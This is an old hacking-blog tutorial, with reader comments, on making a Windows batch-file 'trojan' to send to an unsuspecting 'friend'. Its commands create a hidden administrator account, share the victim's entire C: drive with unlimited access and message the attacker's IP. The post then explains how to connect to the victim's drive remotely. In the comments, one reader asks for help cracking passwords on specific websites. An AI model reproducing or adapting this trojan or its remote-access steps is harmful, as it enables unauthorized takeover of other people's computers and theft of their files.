Subscribe to Hacking Truths. Now, 14031 members!      RSS Feed Be Our Fan on Facebook Twitter SMS Alerts

Home » Trojan Horse, Virus Tutorials

Making your own trojan in a .bat file

9 June 2008 11 Comments Posted By Ashik
StumbleUpon.com
Share

Open a dos prompt we will only need a dos prompt , and windows xp…

-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this command: net
And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.
Funny aint it ?

———————- Starting ——————-
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

Popularity: 3% [?]


Enjoyed this article? Subscribe to Hacking Truths and get daily updates about new cool websites and programs in your email for free.


11 Comments »

  • Raminou said:

    I want to thank you very much about this powerful site.

    thanks again.

  • STEPHEN RONALD said:

    you are a clever creature.Tricky ya.Will u give me a trick to crack passwords of different porn sites like malayalammasti.com,masalanights.com,indianmovieland.com.I really loved your postings and i have asked many of my friends to look at your site. they are also thrilled by now

  • MexDo said:

    thanks for the nice tutorial ..
    I just want to ask how to write the victep ip!
    there are 2 ip’s .. the modem ip and his local ip
    for ex.:
    Modem ip : 209.85.227.127
    Local ip 192.168.1.9

    so, how we could write it then?

    Thanks :)

  • EL VATO said:

    The ip you have to write is the local… >:C read a little… modem ip is submask.

  • EL VATO said:

    by the way this is great. great!

  • vaso said:

    System error 5 has occurred. this is the message i get with the first line of code…

  • STORMRIDER said:

    nice tutorial bro , it was very useful, why dont u add more batch commands

  • hacker said:

    where does the msg comes?

  • Solroth said:

    Yes… Where do I get the message where the IP is?

  • Tom said:

    I tried this out on my own computer – after restarting “neo” seems to have replaced my administrator user. My documents folder is empty, but the space on my hard drive hasn’t changed, so the files must still be in there somewhere. When I go onto “User Accounts” it only gives me “neo” and “guest”. “Administrator” is nowhere to be seen. I can’t seem to find out how to get it back. Any help?

    I’m running XP.

    Thanks.

  • SMARTY M said:

    hey,….
    when i write the fourth commant it says
    “An error occured while sending a message to myip

    The message alias could not be found on the network

    More help is available by typing NET HELPMSG 2273″
    i have tried a lot but the same mssg appears…plzzz help me

Note : If you have any Query related to the above Article please Post it to the Support Forum.

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.